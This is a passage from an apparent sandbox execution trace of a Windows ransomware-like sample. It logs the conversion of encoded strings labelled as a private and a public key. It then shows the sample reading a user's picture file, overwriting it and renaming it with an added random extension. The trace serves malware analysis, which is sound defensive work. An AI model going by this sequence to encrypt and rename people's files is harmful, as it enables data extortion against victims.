PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0085.085] GetCurrentThreadId () returned 0xa30 [0085.085] GetCurrentThreadId () returned 0xa30 [0085.085] GetCurrentThreadId () returned 0xa30 [0085.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f5f86c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.086] GetCurrentThreadId () returned 0xa30 [0085.086] GetCurrentThreadId () returned 0xa30 [0085.086] GetCurrentThreadId () returned 0xa30 [0085.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\fEw6FTan.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\few6ftan.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.087] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.087] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.087] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x7fde [0085.087] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.087] ReadFile (in: hFile=0x110, lpBuffer=0x1f67670, nNumberOfBytesToRead=0x7fde, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f67670*, lpNumberOfBytesRead=0x18f6a0*=0x7fde, lpOverlapped=0x0) returned 1 [0085.089] CloseHandle (hObject=0x110) returned 1 [0085.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\fEw6FTan.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\few6ftan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.093] WriteFile (in: hFile=0x110, lpBuffer=0x1f6f6a0*, nNumberOfBytesToWrite=0x7fde, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f6f6a0*, lpNumberOfBytesWritten=0x18f6ac*=0x7fde, lpOverlapped=0x0) returned 1 [0085.095] CloseHandle (hObject=0x110) returned 1 [0085.105] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\fEw6FTan.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\few6ftan.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\fEw6FTan.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\few6ftan.jpg.zv7un")) returned 1 [0085.106] GetCurrentThreadId () returned 0xa30 [0085.106] GetCurrentThreadId () returned 0xa30 [0085.106] GetCurrentThreadId () returned 0xa30 [0085.106] GetCurrentThreadId () returned 0xa30 [0085.106] GetCurrentThreadId () returned 0xa30 [0085.106] GetCurrentThreadId () returned 0xa30 [0085.106] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19995f70, ftCreationTime.dwHighDateTime=0x1d5e741, ftLastAccessTime.dwLowDateTime=0x7b53d4d0, ftLastAccessTime.dwHighDateTime=0x1d5e4b6, ftLastWriteTime.dwLowDateTime=0x7b53d4d0, ftLastWriteTime.dwHighDateTime=0x1d5e4b6, nFileSizeHigh=0x0, nFileSizeLow=0x6f88, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="mQqJLf-H9R2.gif", cAlternateFileName="MQQJLF~1.GIF")) returned 1 [0085.106] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.106] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\mQqJLf-H9R2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\mqqjlf-h9r2.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19995f70, ftCreationTime.dwHighDateTime=0x1d5e741, ftLastAccessTime.dwLowDateTime=0x7b53d4d0, ftLastAccessTime.dwHighDateTime=0x1d5e4b6, ftLastWriteTime.dwLowDateTime=0x7b53d4d0, ftLastWriteTime.dwHighDateTime=0x1d5e4b6, nFileSizeHigh=0x0, nFileSizeLow=0x6f88)) returned 1 [0085.107] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\mQqJLf-H9R2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\mqqjlf-h9r2.gif")) returned 0x20 [0085.107] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\mQqJLf-H9R2.gif", dwFileAttributes=0x80) returned 1 [0085.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f55b3c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.110] GetCurrentThreadId () returned 0xa30 [0085.110] GetCurrentThreadId () returned 0xa30 [0085.110] GetCurrentThreadId () returned 0xa30 [0085.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f66b9c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 